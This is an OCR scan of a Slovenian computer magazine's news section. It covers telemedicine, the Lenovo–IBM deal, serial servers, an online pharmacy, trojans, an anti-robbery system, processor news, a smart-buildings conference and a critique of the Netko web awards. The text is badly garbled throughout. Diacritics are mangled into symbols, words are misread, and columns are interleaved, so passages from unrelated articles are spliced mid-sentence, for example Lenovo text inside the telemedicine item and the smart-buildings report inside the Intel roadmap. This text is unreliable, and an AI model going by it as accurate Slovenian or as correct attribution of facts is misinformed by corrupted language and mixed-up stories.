in prenosnih ragunalnikov. Poleg blagovnih
znamk (ThinkPad) in razvojnih potencialov

Ni¢ novega niso naprave,
ki omogocajo zdravstveno
oskrbo in celo operacijo v
primerih, ko sta zdravnik
in pacient dale¢ narazen.
TipiCen zgled so astronavti
na orbitalni postaji, ki jih je
sicer mogoce pripeljati v
bolnidnico, a tak izlet stane
milijone dolarjev. Pred
kratkim so naredili prvi
preizkus telemedicine, pri
¢emer so uporabili brezzicne
povezave (radio valove)
namesto obicajnejSih kablov.
»Pacients, pravzaprav lutka
za trening kirurgoy, je bil 19
metrov pod vodno povrsino
v podvodnem raziskovalnem
centru na Floridi, zdravnik pa
je bil oddaljen 2000 kilometrov.
Dejansko je »operiral« robet,
imenovan Zeus, opremljen z
dvema robotskima rokama
in dodatno endoskopsko
roko. Zdravnik robota
krmili prek krmilne palice,
hkrati pa vidi prek robotovih
o¢i na monitorjin. Sponzor
preizkusa je bila NASA.

Vse vec pa je tudi
drugacnih poskusov
uporabe racunalnika v
zdravstvene namene. Se
zlasti uspesne so, kot kaze,
racunalniske igre. Skrajno
leva slika kaze racunalnisko
igro in senzor za utrip
srca. Namen je pomagati
bolniku, da se sprosti. Torej
odganjanje stresa in pomo¢
bolnikom, ki trpijo zaradi
visokega krvnega pritiska.
Na naslednjo stopnjo igre ni
mogoce napredovati, dokler
igralec ni umirjen - kar
sistem zazna z merjenjem
utripa srca.

Drugi sistem na
sredinski sliki je namenjen
rehabilitaciji motori¢nih in
Zivénih funkcij dlani. Bolnik
si oblece posebno rokavico,
nato pa ta izvaja neke vrste
fizioterapijo na daljavo.

Foto Lufthansa

Foto Reuters
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Menda stvar pomaga tudi e .
bolnikom z Alzheimerjevo so Kitajci pridobili tudi globalno prodajno
boleznijo. mreZo. Lenovo bo glavni dobavitelj IBM-a, ki bo prek svojih podijetij in partnerjev Se

vedno prodajal do nedavnega svoje racunalnike. Se pomembnejse je, da je Lenovo

s tem vstopil tudi na trg Amerike in Evrope, hkrati pa trdno sedi na »lokalnemx

in hkrati trgu z najvecjim potencialom. Lenovo pa Se zdale¢ ni mlado in majhno
podjetje. Ustanovljeno je bilo leta 1984 in je prvo, ki je Kitajcem predstavilo osebne
racunalnike - 8e v ¢asu, ko je bila ta drzava veliko bolj zaprta, kot je danes. IBM pa ni
dobil zgolj denarja, temvec ima kot partnersko podjetje in tudi kot lastnik Lenova na

Tretja slika pa prikazuje
virtualni sistem za
izobraZevanje in urjenje reSevalcev in drugega zdravstvenega osebja. Gre za simulacijo
poskodb in ne bolezni, saj je sponzor vseh sistemov ameriSka vojska. Virtualni ranjenec
Se odziva na zdravljenje oziroma na zdravila tako, kot naj bi se odzval pravi ranjenec.
Pritem gre tudi za simulacijo u¢inka znanih zdravil.
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ZMOGLJIVI
SERIJSKI
STREZNIKI TROY

Tako imenovani serijski strezniki podjetja Troy
omogocCajo povezavo serijskih naprav (Citalniki ¢rtnih kod,
tiskalniki, medicinske naprave) prek tradicionalnega
omreZja ethernet (10/100 BaseTX) ali brezZicnega
omreZja WLAN (po standardu 802.11b). Naprave, ki jih
Zelimo omreZiti morajo, imeti enega od zaporednih
vmesnikov (RS-232, RS-422 ali RS-485) oziroma
podpirajo pratokol modbus. Pri povezavi prek
brezzitnega omrezja poudarjena varnost komunikacije,
kar je zagotovljeno z uporabo protokola EAP
(Authentication Protocol with Tunneled Transport
Layer Security) in varnostnega mehanizma WPA prek
pratokola TKIP (Temporal Key Integrity). Z dodatno
zaSCito dostopa do naprav z geslom in seznamom
veljavnih TCP/IP-naslovov so podatki varni.

Strezniki Troy
500/505 so namenjeni
industrijski uporabi tudi v okolju,
kjer je verjetnost poskodb velika. Njihovo ohisje je
kovinsko. Kot primer naj navedemo, da preZivijo tudi
elektriéni sunek 15 kV na vtiCu zaporednega vmesnika.
Strezniki so narejeni tako, da omogocajo nadgradnjo
lastne programske opreme (firmware), ¢e je ta mogoca
oziroma potrebna.
www.ares-comp.si
www.{roygroup.com
(promocijska novica)

RAZGLEDNICA Z

MARSA

Robotski vozili, ki so ju AmeriCani poslali na Mars, Se vedno delujeta in raziskujeta planet. Pred kratkim je vozilo
Opportunity s svojo panoramsko kamero od dale¢ posnelo zanimiv kraj. Ker sta bila dostop do tega mesta in s tem
moznost bliznjih posnetkov prenevarna, so uporabili algoritem, s pomocjo katerega so izdelali sliko visje logljivosti,
kot jo je dejansko posnela kamera. S tem so dobili tudi podrobnosti sicer oddaljenega mesta. Sliko so naredili s

kombinacijo 17 slik, posnetih iz malce razli¢nih poloZajev.
http://marsrovers.jpl.nasa.gov

Siroko odprta vrata za prodajo svojih storitev na Kitajskem.

In ker ima IBM zadnje Casa veC Casa, je nekaj
novosti tudi glede njihove nove razlicice zbirke podatkov
(trenutno v beta razlicici). Pri IBM-u so ugotovili, da
relacijske zbirke niso najprimernejpe za shranjevanje
podatkov v formatu XML. Zato bo njihova zbirka hkrati
relacijska in prilagojena formatu XML. Imela bo loéena
mehanizma shranjevanja (relacijsko in domorodno XML),
po eni strani prilagojena shranjevanju v obliki B-dreves
in po drugem v hierarhicni obliki. Lo¢eni bodo tabele
in indeksi. Vse, kar je nad tem (upravljanje, avtomatika,
optimiranje zbirke) pa bo skupno. Ena zbirka podatkov
in dva mehanizma za shranjevanje je novost v svetu
zbirk. Nekateri analitiki sodijo, da je IBM s tem prijemom
pobegnil Oraclu (ta se s tem seveda ne bo strinjal). No,
nove zbirke Se ni na trgu.

www.ibm.com

V SPLETU

Od konca oktobra
lahko v spletu
najdete kratek
promocijski film o
Sloveniji. Pohvalno
je, daje film v vec
oblikah, torej z
locljivostjo in stem
z velikostjo datotek
prilagojen razli¢nim tipom povezav v internet. Celotna
predstavitev traja okoli 4 minute, in Ce ni¢ drugega, lahko
vsem svojim dopisnim prijateljem poSljete filmcek ali
jih povabite, da si ga ogledajo na spodnii spletni strani.
Je namre¢ za nekomercialno uporabo popolnoma
brezplacen.
http://www.uvi.si/slo/slovenija/av-sredstva/video/

FILM O SLOVENIJI

Foto Reuters
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INOVICE

PRVA SLOVENSKA E-LEKARNA

o e o - v et Eaplines providied by Dol erie 4 d

=R - ' V prejSnjem Mojem mikru smo pisali o problemih,
s katerimi se doma in v svetu srecujejo vsi, ki bi radi
zdravila prodajali tudi v spletu. In ker je splet enovit
za celotno podrocje drzave, bo tisti, ki bo pri nas prvi
postavil spletno lekarno, lahko pozel najvec slave in

s tem tudi denarja. Lekarna Nove poljane Se je v splet,
sicer dokaj neuspesno, podala Ze leta 2001. Zdaj naj
bi 8lo za res. V svoji spletni prodajalni tako prodajajo
zdravila in izdelke (predvsem kozmetiko), ki jih je ze
tako mogoce dobiti brez recepta. Zdravil na recept ni
mozno kupiti, kot to ni mogoCe kupiti nikjer po Evropi.
Cene zdravil so enake kot v obicajni lekarni. Placati
morate dostavo, ki znaSa 960 tolarjev (normalna posta)
oziroma 1290 tolarjev (hitra posta). Visja tarifa jam¢i, da narocene izdelke prejmete v treh urah.

Kupec se mora pred prvim nakupom registrirati. Med drugimi podatki morate vpisati tudi telefonsko Stevilko,
prek katere vas preverijo, ali ste res 0seba, za katero se izdajate. Tako ne morete vimenu soseda narogiti tone
aspirinov. Placila so mozna po prejetju, po predracunu ali prek sistema Moneta. Ta je Se najprimernejsi, a ga lahko
uporabljajo le Mobitelovi uporabniki.

NaSa kritika leti na ceno zdravil in naéin dostave. Kadarkoli fizicna trgovina odpre spletni ekvivalent, se srecujemo
z istimi tezavami. Obicajno je, da so cene v spletu nizje kot tiste v trgovini, kar v tem primeru ni mogoce reéi. Vsaj
to bi lahko naredili, da bi bila dostava brezpla¢na pri narocilu, ki bi preseglo dolocen znesek. Omenjena zneska
nista zanemarljiva, tako da bo marsikateri kupec Se vedno zavil v lekarno, Se zlasti ¢e je ta blizu. Po drugi strani
tudi dostava ni najhitrejSa (tudi pri hitri posti), Se zlasti pa ne pri cenejsi, navadni posti. V nujnih primerih bomo Se
vedno sedli v avto in se odpeljali v najblizjo delujoCo lekarno. Udobnost nakupa iz naslonjaca, ki v svetu Ze dolgo
ni ve¢ glavni razlog za odlo¢anje o spletnem nakupu (bistvena je nizja cena), nam Zelijo Se zaraCunati. Edino v vrsti
nam v nekaterih primerih ne bo treba ve¢ ¢akati.
www.lekarnar.com

SIOL PROTI SPAMU

Koncno je tudi Siol svojim uporabnikom ponudil zaséito
pred neZeleno elektronsko posto (spam). Uporabniki lahko
storitev aktivirajo prek Siolove servisne strani, na voljo pa B et ST
imajo dve moznosti. V prvem nacinu sistem potencialna s
spam sporocila zgolj oznagi, Se vedno pa jih spusti v poStni
predal. Drugi nacin pa ta sporocCila premakne v mapo Spam, kjer ==
s0 sicer $e vedno dostopna. Storitev pa na Zal ni brezplacna,
saj vam bodo vsak mesec zanjo zaracunali 200 tolarjev.
www.siol.net
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TROJANCI: TIHA EPIDEMIJA

Ena pogostih napacnih predstav je, da imajo avtorji virusov cilj brisati datoteke s
trdih diskov s ¢im vecjega Stevilka racunalnikov. Resni¢nost pa je, da dandanes obstaja
veliko kibernetitnih sleparjev z veliko znanja o najnovejSih tehnikah digitalnih zlorab. Druga
pogosta napaka je mislienje, da internetnih kriminalcev vas racunalnik ne zanima. Niste
nikoli uporabili Stevilke kreditne kartice ali podatkov 0 svojem bancnem racunu prek
spleta7 N|ste nikoli uporab|l| spletnih storitev - kjer so dostopni podatki o vaSem banénem racunu -, da bi preverili
telefonske racune ali racune elektri¢ne energije? Ali vas ponudnik internetnih storitev nima podrocja, kjer lahko
preverite podatke svojega racuna? Kiberneticni sleparji vedo vse o tem. Vedo, da so informacije, ki jih Zelijo imeti, na
dosegu, in da je vse, kar potrebujejo, pravo orodje, da jih izviecejo. To se morda zdi tezko, a to orodje pravzaprav
obstaja Ze nekaj Casa: trojanski konji.

Zarazliko od virusov drugih vrst ali Crvov - Ceprav obstajajo izjeme - trojanci ne briSejo datotek, ne prikazujejo
neumnih sporoCil in ne posiljajo okuzenih e-postnih sporodil. Lahko pa ukradejo vse vrste informacij ali spustijo
napadalca v vas sistem ali celo prepustijo popoln nadzor nad vasim ragunalnikom drugim osebam. Trojanci lahko tudi
hekerjem omogocijo uporabljati vas raCunalnik za napade iz vaSega racunalnika. To pomeni, da bo Zrtev napada
verjela, da ste odgovorni vi, ne heker. Ta tehnika uporabe racunalnikov kot »zembijev« lahko tudi poveze ve¢
racunalnikov, da je odkrivanje pravega vira napada Se tezZje. Za namecek se trojanci obic¢ajno ne Sirijo prek e-poste,
ker to ni dovolj subtilno. Pogosto so skriti v programih, ki se nalagajo prek interneta ali izkoriS¢ajo ranljivosti, da
okuzijo racunalnik preprosto takrat, ko uporabnik brez slabih slutenj obiSce spletno stran. Zaradi tega je vera,
da je vse, kar potrebujete za zaSCito vaSega racunalnika, previdnost in zdrava pamet, najmanj nepremisljena. Ni
nadomestka za dober, redno posodobljen protivirusni program, Ce zares Zelite ostati zunaj dosega nevarnosti.
www.pandasofiware.com (promocijska novica)
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ZAKOVA
NOVA TRGOVINA

Trgcwir;.a
rdcunainisko

Podj etJe Zak je sredi Ljubljane na l\/||k|03|ceV| ulici
36 odprlo novo trgovino z racunalniSko opremo in
potro$nim materialom.
www.zak.si

IDEJE ZA PRIHODNOST

Primorski tehnoloSki park Podjetje za
prihodnost je organiziral zbiranje idej, ki bi lahko
v prihodnosti postale poslovna priloznost. Zbrali
S0 nekatere ideje, med katerimi izpostavljamo
naslednje:

E-rescuer, avtomatski sistem za zgodnje
odkrivanje potencialne utopitve, je inovativna
resitev za zagotavljanje varnosti obiskovalcev
kompleksov z vodnimi povrSinami. S sodobnimi
raCunalniskimi in video tehnologijami za
obdelavo videa v realnem ¢asu bo E-rescuer
sposoben zgodnjega odkrivanja potencialne
utopitve kopalcev. V takSnem primeru bo
sistem samodejno, v trenutku opozoril
pristojne h ukrepanju in s tem bistveno
zmanjSal odzivni Cas reSevalcey, ki je lahko
usodno dolg. Tehnologije in koncepti, ki bodo
izvedeni v omenjeni resitvi, imajo perspektivne
moznosti uporabe tudi na drugih podrocjih
analize gibanja oseb (javna mesta, igralnice,
veleblagovnice ...), ki so trzno zelo zanimiva.

Sistem Mvrsta za urejanje Cakalnih vrst z
SMS-pozivom je inovacija, ki prek mobilnega
telefona reSuje problem ¢akalnih vrst, kjerkoli
S0 stranke izpostavljene dolgemu ¢akaniju.

Solarna Zaluzija je nova vrsta Zaluzije, ki
pretvarja soncno energijo v elektricno, s ¢imer
Se zmanjSa potreba po elektricni energiji iz
omrezja (kar pomeni prihranek za kupca).
Namestiti jo je mo¢ na notranjo in zunanjo
stran oken. Ena stran Zaluzije je opremljena
s soncnimi celicami, katerih barvo lahko
izberemo. Elektriko lahko solarna Zaluzija
proizvaja tudi ponoCi, ko so vklopljene luci v
prostoru, in tako dodatno zmanj$a potrebo po
elektriki iz omreZja ter s tem omogoci dodaten
prihranek kupcu.

www.primorski-tp.si
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1. slovenska konferenca o intranetu in interni komunikaciji

KAKO ZASNOVATI INRAZVIJATI INTRANET.
KOT. STRATESKO POSLOVNDG GRODIE?

www.panta-rei.sifintranet

B, marec 2005, MONS - Hotel in kongresni center Ljubljana
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INOVICE

PROTIROPNA NAPRAVA POR-A

Obicajno se srecujemo s protiviomnimi alarmnimi sistemi razli¢nih
funkcionalnosti. Povsod, kjer se pojavijo vecje vsote denarja ali vrednostni
predmeti, pa se je treba zavarovati tudi pred ropom, ki je Gedalje pogostejSa
oblika odtujitve. Pri podjetju VTZ iz Ljubljane so predstavili svojo reSitev protiropne
naprave, ki se jo obic¢ajno vkljuci kar v protiviomni sistem tehniCnega varovanja
in zaScite. Cenovno lahko protiropni sistem primerjamo s protiviomnim
sistemom. Bistvena prednost pa je v tem, da lahko protiropni sistem kombiniramo
z vecino obstojecih protiviomnih sistemov na nasem trgu. To pomeni, da
ni treba zamenjati celotnega sistema, temvec ga le nadgradimo z novimi

funk0|onalnostm| Ce se odlommo za nov sistem, pa je to vse skupaj povezano v enem samem ohi$ju. Glavna razlika
med protiropnim in protiviomnim sistemom pa je v delovaniju, saj protiviomna centrala deluje samo v ¢asu, ko je
ustanova zaprta. Le doloCen del (sabotaza) deluje 24 ur, protiropni sistem pa deluje 24 ur, torej tudi takrat, ko so ljudje
prisotni. Ko ni nikogar, pa protiropni sistem s svojimi dodatnimi funkcijami otezuje delo viomilcem in, recimo, oznaci

denar in roparje.

Rop vpladilno-izplacilne enote se Steje z vidika roparjev za uspesnega, Ce je izveden hitro in drzno. Nasilje, ki
spremlja roparski napad, povzroi Sok pri zaposlenih kot tudi pri morebitnih obiskovalcih. Doslej praksa ropov
v nasi drZavi ne beleZi izsiljevanja z zajetjem talcev, kar pa ni redkost v tujih drzavah. To pa ponavadi povzroCi
posebne okolis¢ine, ki zahtevajo ustrezne ukrepe, zlasti v primerih, ko vplacilno-izplacilne enote uporabljajo ¢asovno

zaklepanie blagajn.

Protiropni sistem POR-A, ki je plod domacega znanja in izdelave, reSuje Stevilne od navedenih problemov, saj
ga je mogocCe vnaprej poljubno programirati. Protiropna naprava omogoca poleg takojsnje sproZitve alarma na
intervencijsko mesto tudi usmeritev snemanja dogodkov na incidente ter daljinsko upravljanje in nadzor nad centralnim
zaklepanjem tako priroCnih blagajn kot tudi trezorjev. Vhodne enote, ki proZijo protiropne alarme, so lahko samodejni
prepoznavalniki obraza, pasti za denar, nevidne Zarkovne zapore kot tudi najveckrat uporabljene alarmne tipke,
nozna stikala in podobno. Ob aktiviranju katerekoli od omenjenih naprav se po prednastavljenem programu zacnejo
dejavnosti za oviranje roparskega napada. Tako se na primer aktivirajo ¢asovni zaklepi blagajn in trezorjev z razli¢nim
¢asovnim trajanjem, za stranke se lahko izpiSe na prikazovalniku tak$no ali drugacno obvestilo, na primer naj

ohranijo mirno kri ...

Ce so v prostorih vrata ali regulatorji vstopa in izstopa, se lahko na podlagi predprogramiranja

odprejo, zaprejo ali zaklenejo. Ce se roparski napad kljub vsemu nadaljuje z vstopom v predtrezorski in trezorski
prostor, naprava POR-A to zazna in aktivira dimno polje. Ob izstopu roparjev iz varovanih prostorov pa jin naprava lahko
tudi oznaéi z nevidno tekoCino in aktivira naprave za oznacevanja denarja. (m.s)

MIKROPROCESORSKE NOVICE

OUTLOOK PO NAROCILU

Microsoft je v zacetku decembra zacel testirati
novo storitev, imenovan Outlook Live. To je je nekak3en
Outlook po narocilu, torej spletna storitev, ki omogoca
uporabo Outlooka za upravljanje s sporocili Hotmaila,
dostop do koledarja prek spleta, kjer bodo uporabniki
imeli na voljo 2 GB prostora za shranjevanje sporodil,
moznost posiljanja prilog do velikosti 20 MB in
snemljivo razlicico Outlooka. Qutlook Live je dokaj
podoben Outlook Connectorju, ki ga Microsoft ponuja
zanarocnino 9,95 USD mesec¢no za narocnike MSN
Premium Service. Outlook Live se od Connectorja
razlikuje po tem, da ni le dodatek obstojecim
uporabnikom Outlooka ali sistema Office. Narocniki
si bodo namre¢ neodvisno od tega, kaj uporabljajo,
lahko iz interneta sneli posebno razlicico Outlooka.
Microsoftov predstavnik je povedal, da bo Outlook
Live Gisto samostojna storitev, torej ne bo vezan na
MSN,. Cena storitve zaenkrat Se ni znana.

www.Microsoft.com

PALM NA LINUXU

Podjetje PalmSource, derivat nekoC celovitega podjetja
Palm in poznano po operacijskem sistem Palm0$,
namerava slednjega izdati v novi razli€ici, pri kateri bodo
kot jedro uporabili Linux. Stvar je zanimiva, saj naj bi
operacijski sistem namescali v poceni mobilne telefone,
namenjene predvsem kitajskemu trgu. In kar je morda
Se najzanimivejSe, stvar naj bi konkurirala operacijskima
sistemom podietij Symbian in Microsoft.

www.palmsource.com

Gelicni procesor

IBM, ki je prvi zaCel omenjati celicne procesorije,
je s Toshibo in Sonyjem predstavil podatke o
zmogljivosti prvih tovrstnih procesarjev. Zanimivo
je, da bo na tej tehnologiji temeljila nova igralna
konzola Playstation 3. Koncne specifikacije procesorjev
bodo objavili na prireditvi ISSCC (International Solid
State Circuit Conference) februarja 2005, vendar
je Ze potrjeno, da bo procesor 64-biten in da bo
vseboval veé namenskih jeder (modularna zgradba,
specializiranih delov za obdelavo videa, zvoka) ...
Procesor bo socasno podpiral veé operacijskih sistemov
in bo zmoZen dela tudi v stvarnem gasu, s Cimer se
bo seznam namembnosti ustrezno podaljSal. Poleg
velike pomnilniSke prepustnosti (IBM Se ni napovedal,
katero pomnilniSko tehnologijo bo podprl) je zanimivo,
da bo taz 90 nm tehnologijo zgrajen procesor
vseboval tudi zaséito proti piratstvu - kar je Sibka plat
vseh dosedanjih igralnih konzol.

AMD z 90 nm procesoriji
AMD je potihoma
zacel prodajati oziroma

razpoSiljati prve serije
novih procesorjev
Opteron, proizvedenih

z 90 nm tehnologijo silicija na izolatorju (SOI). Novi
procesorji nosijo oznake 146, 246, 248 in 846
namenjeni pa so 1-, 2-, 4-in 8-procesnim streznikom.
Procesorji z delovno frekvenco med 2 in 2,2 GHz se
ne razlikujejo od starih, z 0,13-mikronsko tehnologijo
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izdelanih procesorjev. Poleg strezniskih je AMD Ze pred
¢asom pricel izdelovati namizne procesorje z Novo
tehnologijo. Edina prednost sicer identi¢no zmogljivih
procesorjev je poraba energije, ki je pri polni obremenitvi
novih Opteronov okoli 67 W (ob mirovanju s pomocjo
tehnike Cool'n’Quiet pa 21 W, glede na predhodne
vrednosti 89 W in 22W ...

AMD niza cene

AMD je 26. decembra znizal cene svojim namiznim
in strezniSkim procesorjem, hkrati pa predstavil novo
paleto zmogljivejSih strezniskih procesorjev Opteron z
oznakami 252 in 852 (takt 2,5 GHz).

nVidia z novimi veznimi nabori

Potem ko je nVidia predstavila nov vezni nabor
nForce 4 za osnovo AMD, je tik pred izdajo tudkrazlicica
nabora za osnovo Intel. Specifikacije obeh so podobne,
saj prinasajo podporo za Serial ATA-Il (300Mb/s),
osemkanalni zvok (znano je Ze, da bo nVidia navkljub
optimisticnim napovedim o naslednji generaciji svoje
reSitve Sound Storm 2 vdelala kar Intelov HD avdio
Azalio), rezo PCIE x16 za graficne kartice, oziroma kar
dve - za podporo svoji vzporedni graficni resSitvi SLI, ter
Se kup izboljSav.

HP opus¢a Itanium

HP se umika iz razvoja 64-bitnega procesorja
[tanium, ki ga je v zadnijih letih skupaj z Intelom
razvijal in promoviral predvsem za visoko zmogljivi
strezniSki segment. Intel je potrdil, da je odkupil HP-jev

delez in da bo skupino 200 inZenirjev, ki so delali v
projektu, preselil v svoje prostore v Colorado. Financne
podrobnosti posla niso znane.

Intelova vizija 2005

Paul Otellini, Intelov predsednik in direktor, je na
predstavitvi, namenjeni financnim analitikom v New
Yorku predstavil nekatere smernice, ki jim bo Intel sledil
v letu 2005. Intel naj bi se v letu 2004 naudil precej,
in Ze odloCitev, da prekine razvoj hitrih enojedrnih
procesorjev, naj bi bil v prid pohitritvi razvoja dvojedrnih
procesorjev. Intel je konéno prisluhnil uporabnikom
in kmecki logiki, in napovedal namizno osnovo, ki bo
temeljila na modelu CGentrino. Razvojno ime za to osnovo
je Lyndon, ciljni trg pa so dnevne sobe digitalnega
doma. Osnova bo temeljila na procesorju Pentium 4 in
64-bitnih ukazih. Med novostmi bo Se niz upravljavskih
funkcij, kot je AMT (Active Management Technology),
ki omogoca skrbnikov oddaljeni dostop do ugasnjenih
racunalnikov.

Intelovi dvojedrni procesorji

V tretji Getrtini 2005 bodo Iu¢ sveta ugledali prvi
Intelovi dvojedrni procesorji z razvojnim imenom
Smithfield 0ziroma modeli X20, X30 in X40. Temeljili bo
na dveh povezanih jedrih Prescott, od katerih bo imel
vsak dostop do 1 MB predpomnilnika L2, vkljuCeni pa
bodo tudi 64-bitni ukazi. Leta 2006 ga bo nasledila
zasnova Cedar Mill, zgrajena s 65 nm tehnologijo. Prav
tako v 2006 bo Intel predstavil osnovi, znani kot Bridge
Creek in Averill, namenijeni digitalnemu domu. Ti bosta Ze



PAMETNE STAVBE

Na Brdu pri Kranju je bil ob
koncu novembra dvodnevni
posvet na temo pametnih
stavb. Sodobne stavbe
vsebuijejo Stevilne sisteme,
tako ogrevalne, varnostne,
protipoZarne, za razsvetljavo,
razlicne gospodinjske stroje,
aparate zabavne elektronike,
osebne racunalnike in drugo opremo, ki je danes pogosto Ze racunalnisko krmiljena.
V pametnih stavbah naj bi bili vsi ti sistemi med seboj povezani v skupno omreZje, to pa z
zunanjim svetom, kar omogocCa izmenjavo informacij ter ukrepanje ob razliénih dogodkih.
Ker so storitve in sistemi v pametnih stavbah med seboj povezani, to omogoca centralno
ali oddaljeno upravljanje celotnega bivalnega oziroma poslovnega prostora.

Problematika pametnih stavb je v svetu zelo aktualna, Se zlasti z ekoloSkega staliSCa
izrabe energije, pri nas pa se o tem skoraj ne govori. Namen posveta je bil tudi razgrniti
razlicne probleme, s katerimi se sre¢ujemo pri projektih, povezanimi s pametnimi
hiSami. Posvet je bil precej telekomunikacijsko obarvan, kljub temu pa je bilo kar nekaj
zanimivih razpravljavcev iz drugih strok, ki so problem predstavili s svojega stalisca.
Zelo zanimivo je bilo slisati, kako so se v poslovnem sistemu Mercator lotili gradnje
vecjih trgovskih centrov. V njihovem primeru morajo projektanti upostevati vrsto
dejavnikov, da tak poslovni kompleks porabi ¢im manj energije za gretje in hlajenje.

Predstavnik Gorenja je pogledal na pametno hiSo s svojega zornega kota. Zanje
pametna hiSa zdruzuje vrsto gospodinjskih aparatov, ki so med seboj povezani in znajo
komunicirati prek skupnega vmesnika tudi z zunanjim svetom.

Sklep posveta je bil nekako logi¢en: pametne hiSe so izrazito interdisciplinarne, kjer
zdruzujejo znanje strokovnjaki ve¢ podrocij. Sodelovanje med skupinami bo nujno
potrebno, da bodo tovrstni projekti uspesni.

0d uporabnikov pa je bilo sliSati tudi Zelje, da bi bilo najbolje postaviti referenéni
objekt, na katerem bi se potem izvajale meritve in raziskave. Tak objekt bi rabil tudi
za predstavitev mozZnosti in resitev SirSi javnosti, ki bi se morda tako laze odlocila za
gradnjo tovrstnih objektov.

izrabljali tudi nove tehnologije za virtualizacijo in varnost, uporabno Sele s prinodom
Windows Longhorn. Sicer pa bomo ti tehnologiji najprej sre¢ali v procesorjih za
delovne postaje Xeon.

ATI Radeon XPress 200

ATl je predstavil svoj prvi vezni nabor za osnovo AMD, ki bo poskuSal konkurirati
nVidinemu nForcu 4. Nabor podpira PCIE, hkrati pa bo vdelano tudi grafiéno vezje,
podobno graficni kartici X300. Ta dviga hitrost glede na pretekli 9100 IGP. X200 glede
na nForce 4 Se vedno zaostaja vsaj pri Stevilu funkcij (kot je recimo vdelani pozarni zid).

Graficni boj konzol

Potem ko je Microsoft za
grafi¢no jedro nove konzole
Xbox 2 izbral ATI, pa je nVidia
vrnila udarec z ravnokar
podpisano pogodbo za
izdelavo graficnega procesorja
Sonyjeve prihajajoce konzole
Playstation 3. Ve¢ podatkov o
specifikacijah in moci novih
graficnih procesorjev Se ni
znanih. Ko Ze govorimo o konzolah: na na$ trg tudi uradno prihajajo konzole Xbox.

nVidia 6200 TurhoCache

nVidia je na Zeljo OEM-partnerjev predstavila poceni grafi¢no kartico za vmesnik
PCIE, imenovano 6200. Ta v okolju 3Dmark2005 dosega okoli 2300 tock, kar jo
uvrs¢a med dokaj zmogljive kartice, povsem primerne tudi za igranje danasnijih iger
(konkurenca sta ATI X300 in manj zmogljiva X300SE). Kartica podpira najnovejse
tehnologije in strojno podporo DirectX 9, model senc¢enja 3.0. Na racun cene ima
omejen pomnilnik, vendar si s tehnologijo TurboCache lahko sposoja sistemski
pomnilnik. Cena je okoli 80 USD za kartico z 64 MB pomnilnika.
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Pise: Zvone Stor, Veder

o petih letih izbora najboljse poslovne
spletne strani si organizatorji Netka ne bi
smeli privosciti zacetniskih spodrsljajev —
pomanjkanja kriterijev.
Slovenska internetna scena ima zvezde.
Za kronanje je poskrbela Gospodarska zbornica
Slovenije (GZS), ki ji lahko za izvedbo projekta Netko
zgolj Cestitamo. A Slovenci ne bi bili to, kar smo, e
k vsemu cirkusu izbora najboljsih spletis€ ne bi dodali
znamenitega »vendar« ...

Cestitke zmagovalcem, Cestitke 20 finalistom in Cestitke
tudi preostalim 80 spletnih mestom, ki se jim ni uspelo
uwrstiti v oFji izbor. Vendar pa si predvsem komisija
zaslugi nekaj kritik. Privos¢imo si majhen skok ¢ez mejo.
Na Balkan. Tudi zaradi neko¢ ustvenih povezav, pa tudi
zato, ker si Slovenceljni radi nadenemo masko vzviSenosti,
ko je govor o Srbih in Se sploh Hrvatih. V Beogradu
je bila v zacetku decembra glamuroxna prireditev IT
globus, kjer so podelili IK T-priznanja (od tiskalnikow,
digitalcev, programske opreme, sejemske dejavnosti in
tudi interneta) . Nagrado za najbolj3o spletno predstavitev
je dobila nacionalna Radio televizija Srbija (www.
rts.co.yu) . Ocitno refimske lovke e vedno delujejo, pa
Ceprav je marSal zaprt nekje na severu. Prav tako ne
smemo spregledati akcije HR Top 25 Web, ki jo vodijo
ez wso leto, velik uspeh pa je Fe, e kakino podjetje osvoji
meseéno nagrado. Nepravicno bi bilo xdaj primerjati ali
celo ocenjevati ymagovalce med sabo, a tako pri Srbih,
kot Hrvatih je glavno in osnovno merilo opravljeno delo in
anga¥ma na podro&ju spleta. Kako pa je s tem v Sloveniji
(beri: pri Netku)?

Borno.

Zelo borno.

Saj ne, da bi Novemu forumu oporekali zasluge,
vendar bi morali krepko pomisliti, kaj tako pomembnega
in vredno zlatega Netka so z iskalnikom Najdi.si
naredili v letu 2004? »No, ja ... Oni so tako dobri, da
si zaslugijo nagrado, « so neuradno ob kozaréku pojasnili
clani komisije. Ze, ¥e, vendar pa Najdi.si ni od véeraj
(beri: letos). Nagrado bi morali dobiti lani, e bolje
predlani, ko so prodrli na trg in se na no¥ bojevali z
dotlej nepremagljivo Mat'kurjo. Ali gre torej razumeti,
da je letonja Zirija popravljala napake prej$njih? Ali
gre morda za nezaupnico stari garnituri girije? Ne
smemo namre¢ spregledati, da so se ocenjevalci v celoti
spremenili, saj sta ve¢ kot ocitno ¥elela glavno besedo
obdrzati paradna pokrovitelja: ukinjeno ministrstvo za
informacijsko drugbo in GZS.

Se bolj motec zgled je zlati Netko v skupini malih
in srednjih podjetij, ki je pripadel Uradu vlade
za informiranje (UVI). Hm ... Od kdaj pa je
urad podjetje? Se mar bori na trgu? Se skusa na
konkurencnem trgu uveljaviti in krvavo prislugiti denar
za prefivetje? Dajte no! Ziveti in delati ¥ dr¥avnim
denarjem pac ni tegko. Ali so ocenjevalci pozabili, da
nagrajeni urad denar zgolj porablja, kar pa nima wveliko
wveze s podjetnistvom?!

Tisti bolj konstruktivni se takoj po razglasitvi Netkow
niso spuscali v koluarske komentarje, so pa predlagali,

da bi naslednje leto uvedli posebno skupino za strani
javne uprave. Kar malce cini¢no je tudi pojasnilo,
zakaj si je UVI prislugil najuisjo nagrado. Zaradi
uredniske politike (beri: provladne cenzure), newsiljive,
a dr¥avni ravni simbolno ustrezne grafi¢no-vizualne
podobe (vsi vemo, kako unikatna in izvirna je podoba
nae dr¥ave) in zaradi izjemne ustreznosti opravljanja
svojega poslanstva (&etudi odmislimo dejstvo, da so na
Uradu placani iz denarja davkoplacevalcev, se vendarle
vecina dr¥avljanov ne more spomniti, kaj tako izjemnega
je UVI napravil v zadnjem letu) . Se en dokaz ve¢, da
doseki v letu 2004 niso igrali pomembne vloge. Zakaj
potem torej Netko 2004 in ne »Netko for ever«?!

Iz zapisanega lahko izpeljemo najmanj en sklep: ¥irija
je ocitno Cutila potrebo, da poravna stare dolgove,
sebi pa dvigne ceno. Taksni izbori e v imenu stroke ne
smejo postati praksa. Navsezadnje to krha ugled drugim
nagradam. Ce so ocenjevalci po letosnjem izboru opravili
s preteklostjo (in politiko) , potem lahko upamo, da bi
lahko bil ¥e Netko 2010 vsaj na ravni »avta leta«.

n

